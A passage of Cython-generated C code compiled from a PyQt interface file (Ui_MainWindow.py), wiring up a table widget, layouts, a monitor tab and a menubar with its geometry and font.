__Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMinimumSectionSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 949, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__588, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 949, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":950 * self.TM_T_passage.verticalHeader().setHighlightSections(False) * self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) * self.horizontalLayout_9.addWidget(self.TM_T_passage) # <<<<<<<<<<<<<< * self.verticalLayout.addLayout(self.horizontalLayout_9) * self.Tab_Container.addTab(self.T_Monitor, "") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 950, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 950, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 950, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 950, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 950, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 950, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 950, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 950, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":951 * self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) * self.horizontalLayout_9.addWidget(self.TM_T_passage) * self.verticalLayout.addLayout(self.horizontalLayout_9) # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_Monitor, "") * MainWindow.setCentralWidget(self.centralwidget) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 951, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 951, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 951, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 951, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 951, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 951, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 951, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 951, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":952 * self.horizontalLayout_9.addWidget(self.TM_T_passage) * self.verticalLayout.addLayout(self.horizontalLayout_9) * self.Tab_Container.addTab(self.T_Monitor, "") # <<<<<<<<<<<<<< * MainWindow.setCentralWidget(self.centralwidget) * self.menubar = QtWidgets.QMenuBar(MainWindow) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 952, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addTab); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 952, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 952, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_7, __pyx_kp_u__9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 952, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_7, __pyx_kp_u__9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 952, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 952, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_t_7); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_7 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 952, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":953 * self.verticalLayout.addLayout(self.horizontalLayout_9) * self.Tab_Container.addTab(self.T_Monitor, "") * MainWindow.setCentralWidget(self.centralwidget) # <<<<<<<<<<<<<< * self.menubar = QtWidgets.QMenuBar(MainWindow) * self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 19)) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setCentralWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 953, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_centralwidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 953, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_7) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 953, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 953, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 953, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 953, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 953, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":954 * self.Tab_Container.addTab(self.T_Monitor, "") * MainWindow.setCentralWidget(self.centralwidget) * self.menubar = QtWidgets.QMenuBar(MainWindow) # <<<<<<<<<<<<<< * self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 19)) * font = QtGui.QFont() */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 954, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QMenuBar); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 954, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_v_MainWindow); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 954, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_MainWindow}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 954, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_MainWindow}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 954, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 954, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_MainWindow); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 954, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_menubar, __pyx_t_1) < 0) __PYX_ERR(0, 954, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":955 * MainWindow.setCentralWidget(self.centralwidget) * self.menubar = QtWidgets.QMenuBar(MainWindow) * self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 19)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(9) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QRect); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__589, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":956 * self.menubar = QtWidgets.QMenuBar(MainWindow) * self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 19)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setPointSize(9) * self.menubar.setFont(font) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 956, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 956, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 956, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 956, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":957 * self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 19)) * font = QtGui.QFont() * font.setPointSize(9) # <<<<<<<<<<<<<< * self.menubar.setFont(font) * self.menubar.setObjectName("menubar") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 957, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__590, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 957, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":958 * font = QtGui.QFont() * font.setPointSize(9) * self.menubar.setFont(font) # <<<<<<<<<<<<<< * self.menubar.setObjectName("menubar") * self.menuFfff = QtWidgets.QMenu(self.menubar) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 958, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setFont); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 958, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_font); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 958, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_font}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 958, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_font}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 958, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 958, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_font); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 958, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":959 * font.setPointSize(9) * self.menubar.setFont(font) * self.menubar.setObjectName("menubar") # <<<<<<<<<<<<<< * self.menuFfff = QtWidgets.QMenu(self.menubar) * self.menuFfff.setObjectName("menuFfff") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 959, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 959, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__591, NULL); if 